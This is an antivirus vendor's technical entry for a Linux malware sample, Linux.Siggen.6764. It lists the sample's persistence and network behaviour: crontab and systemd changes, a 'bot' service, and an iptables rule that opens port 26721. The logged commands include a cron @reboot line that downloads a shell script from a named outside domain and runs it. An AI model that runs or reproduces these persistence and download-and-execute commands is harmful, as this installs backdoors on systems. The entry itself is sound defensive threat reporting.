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Linux.Siggen.6764
Added to the Dr.Web virus database:
2024-03-17
Virus description added:
2024-03-17
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
['/bin/systemctl', 'enable', 'bot']
Launches processes:
/bin/sh -c /bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c /usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh -c iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
sh bins.sh
crontab -
/sbin/initctl start bot
/bin/kmod /sbin/modprobe ip_tables
/bin/sh -c /bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
crontab -l
/bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://rebirthltd.com/bins.sh; chmod +x bins.sh; sh bins.sh\x22\x22) | crontab -
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
chmod +x bins.sh
/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/systemctl enable bot
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.oJNycZ
Deletes folders:
Creates or modifies files:
/var/spool/cron/crontabs/tmp.oJNycZ
/dev/full
/etc/init/bot.conf
/root/.bashrc
/lib/systemd/system/bot.service
Deletes files:
Changes time of creation/access/modification of files:
Network activity:
Awaits incoming connections on ports:
127.0.0.1:8345
0.0.0.0:26721
Establishes connection:
8.#.8.8:53
51.##.149.139:53
0.0.0.0:0
19#.##.195.195:53
94.##.114.254:53
DNS ASK:
Curing recommendations
Linux
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